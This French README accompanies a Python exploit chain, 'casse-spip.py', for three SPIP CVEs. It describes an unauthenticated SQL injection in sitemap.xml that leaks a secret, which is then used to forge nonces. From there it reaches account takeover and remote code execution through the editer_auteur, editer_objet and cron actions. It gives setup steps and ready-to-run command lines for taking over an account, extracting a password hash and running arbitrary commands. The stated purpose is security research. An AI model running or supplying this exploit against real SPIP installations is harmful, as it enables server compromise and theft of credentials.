
Chaîne d'exploitation Python pour les CVE SPIP 2026-72708/72709/72710, enchaînant une injection SQL non authentifiée vers une prise de contrôle de compte et une exécution de code à distance.
Exploit pour CVE-2026-72708, CVE-2026-72709 et CVE-2026-72710 découvertes par Franck Chevalier (Wayko)
Pour une analyse technique complète, lisez l'article complet sur le blog de Lexfo.
Ce dépôt est fourni à des fins de recherche et de sécurité défensive uniquement. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ces informations.
Le point d'entrée est une injection SQL dans la page publique sitemap.xml permettant de fuiter alea_ephemere.
Avec ce secret, des nonces valides peuvent être forgés pour des actions anonymes.
Deux actions mènent ensuite à l'exécution de code à distance :
action=editer_auteur prise de contrôle de compte, puis RCE depuis l'espace privé.action=editer_objet affectation de masse, pour écrire une ligne dans la file d'attente spip_jobs, puis l'exécuter via action=cron.python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 casse-spip.py --help
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --ato -i 1 -p "Casse-Spip!2026"
Avant l'écrasement, --ato extrait le login de la cible et le hash pass actuel
(via l'injection SQL) afin que vous puissiez le restaurer ensuite avec --restore-hash :
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --restore-hash '$2y$12$...' -i 1
.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --exploit -c "id"
Le fichier sera écrit dans IMG/casse-spip_<token>.html.